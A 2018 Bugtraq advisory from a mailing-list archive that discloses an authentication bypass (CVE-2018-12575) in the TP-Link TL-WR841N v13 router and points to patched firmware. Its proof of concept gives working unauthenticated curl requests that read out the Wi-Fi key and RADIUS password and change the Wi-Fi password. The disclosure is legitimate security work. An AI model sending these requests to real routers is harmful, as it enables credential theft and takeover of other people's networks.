bugtraq - TP-Link TL-WR841N v13: Broken Authentication (CVE-2018-12575)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <f4759f6a-e823-4982-29db-a242844edac5@gmail.com>
Date: Wed, 27 Jun 2018 16:04:47 +0200
From: Tim Coen <tc.coen@...il.com>
To: bugtraq@...urityfocus.com
Subject: TP-Link TL-WR841N v13: Broken Authentication (CVE-2018-12575)

  * Vulnerability: Broken Authentication
  * Affected Software: TP-Link TL-WR841N v13
  * Affected Version: 0.9.1 4.16 v0001.0 Build 171019 Rel.55346n
  * Patched Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
  * Risk: High
  * Vendor Contacted: 05/20/2018
  * Vendor Fix: Issue was independently fixed in previous version
  * Public Disclosure: 06/27/2018

##### Overview

An attacker that can send HTTP requests to the router can bypass the
authentication mechanism of the web interface and thus perform arbitrary
actions.

##### CVSS

High 8.8 CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

##### Details

An unauthenticated attacker can send arbitrary requests to CGI scripts,
which allows them to perform all actions an authenticated user could
perform, as well as read out all information that an authenticated user
can read out. With default configuration, the attacker has to be in the
same local network as the router.

The issue exists because while the frontend of the web interface has a
basic authentication mechanism, requests to the CGI scripts fail to
validate the authentication cookie.

##### POC

Read out Wifi password:

	curl -i -s -k  -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:
http://192.168.0.1/' -H $'Content-Type: text/plain' -H $'Content-Length:
404' -H $'Connection: close' --data-binary
$'[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,19\x0d\x0aname\x0d\x0aSSID\x0d\x0aEnable\x0d\x0aX_TP_Configuration_Modified\x0d\x0abeaconType\x0d\x0aStandard\x0d\x0aWEPEncryptionLevel\x0d\x0aWEPKeyIndex\x0d\x0aBasicEncryptionModes\x0d\x0aBasicAuthenticationMode\x0d\x0aWPAEncryptionModes\x0d\x0aWPAAuthenticationMode\x0d\x0aIEEE11iEncryptionModes\x0d\x0aIEEE11iAuthenticationMode\x0d\x0aX_TP_PreSharedKey\x0d\x0aX_TP_GroupKeyUpdateInterval\x0d\x0aX_TP_RadiusServerIP\x0d\x0aX_TP_RadiusServerPort\x0d\x0aX_TP_RadiusServerPassword\x0d\x0a'
$'http://192.168.0.1/cgi?5'

Change Wifi password:

	curl -i -s -k  -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:
http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 197' -H
$'Connection: close' --data-binary
$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=12345678\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a'
$'http://192.168.0.1/cgi?2'

##### Solution

The issue was already fixed independently of this report in the newest
version of the firmware:

TL-WR841N(EU)_V13_180119:
https://www.tp-link.com/uk/download/TL-WR841N.html#Firmware

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75